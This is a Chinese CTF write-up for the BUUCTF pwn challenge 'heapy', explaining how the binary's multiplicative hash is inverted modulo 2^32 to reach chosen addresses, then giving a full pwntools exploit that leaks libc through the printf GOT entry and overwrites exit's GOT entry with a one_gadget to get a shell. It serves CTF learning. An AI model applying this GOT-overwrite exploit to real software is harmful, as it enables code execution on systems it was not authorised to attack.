[BUUCTF-pwn] 38-heapy

Crypto那边的队员走错棚了吧?

虽然名字带heap但并不是堆题。可以建块,写入和读取。建块就是读入个数,然后按这个数调用自己写的hash返回一个地址。如果这个地址不存在就用mmap建个块。并把地址存入nbytes数组。这个数组没有越界。

      case 1u:
        puts("How big is your paste (bytes)?");
        __isoc99_scanf("%u", &v7);
        if ( halloc(v7) )
        {
          nbytes[v11++] = v7;
          printf("Paste number %d created with size %d\n", v11 - 1, v7);
        }
        else
        {
          puts("Error in paste creation");
        }
        break;

在建块里调用了个叫hash的函数,实际上不是md5类的,只是一个乘法运算。

int __cdecl hash(int a1)
{
  return -1640531535 * a1;
}

如果想得到一个指定的地址,就是 addr / 1640531535 可实际上这并不是个简单的乘法,因为整形是32位整形,所在实际运算是 -1640531535 * a1 & 0xffffffff 这样就不能直接用除法了。要先求这个数的乘法的逆元,然后用地址乘逆元。输入得到的值就能得到这个地址了。

a = 0x9e3779b1
n = 2**32
ra = invert(a, n)

找到这个地址后就好办了,由于got表是可写的,只需要把这个地址指向一个有libc值的got表项就能得到libc。然后还可以写got表,这里没找到带输入参数的got表项,就直接用one_gadget。在exit写入one_gadget然后退出。

from gmpy2 import gcd,invert

a = 0x9e3779b1
n = 2**32
ra = invert(a, n)  #先求出逆元

from pwn import *

p = process('./pwn')

libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='amd64', log_level='debug')

def add(addr):
    v = addr * ra & 0xffffffff
    p.sendlineafter(b'5. Exit\n' ,b'1')
    p.sendlineafter(b'How big is your paste (bytes)?\n', str(v).encode())

def add2(addr):
    p.sendlineafter(b'5. Exit\n' ,b'1')
    p.sendlineafter(b'How big is your paste (bytes)?\n', str(addr).encode())

def show(idx):
    p.sendlineafter(b'5. Exit\n' ,b'4')
    p.sendlineafter(b'What paste would you like to read?\n' ,str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b'5. Exit\n' ,b'2')
    p.sendlineafter(b'What paste would you like to write to?\n' ,str(idx).encode())
    p.sendafter(b'Enter your input\n' ,msg)

add(elf.got['printf'])
show(0)
libc_base = u32(p.recv(4)) - libc_elf.sym['printf']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

add(elf.got['exit'])
edit(1, p32(libc_base + one[3]))
p.sendlineafter(b'5. Exit\n' ,b'5')

p.sendline(b'cat /flag')
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值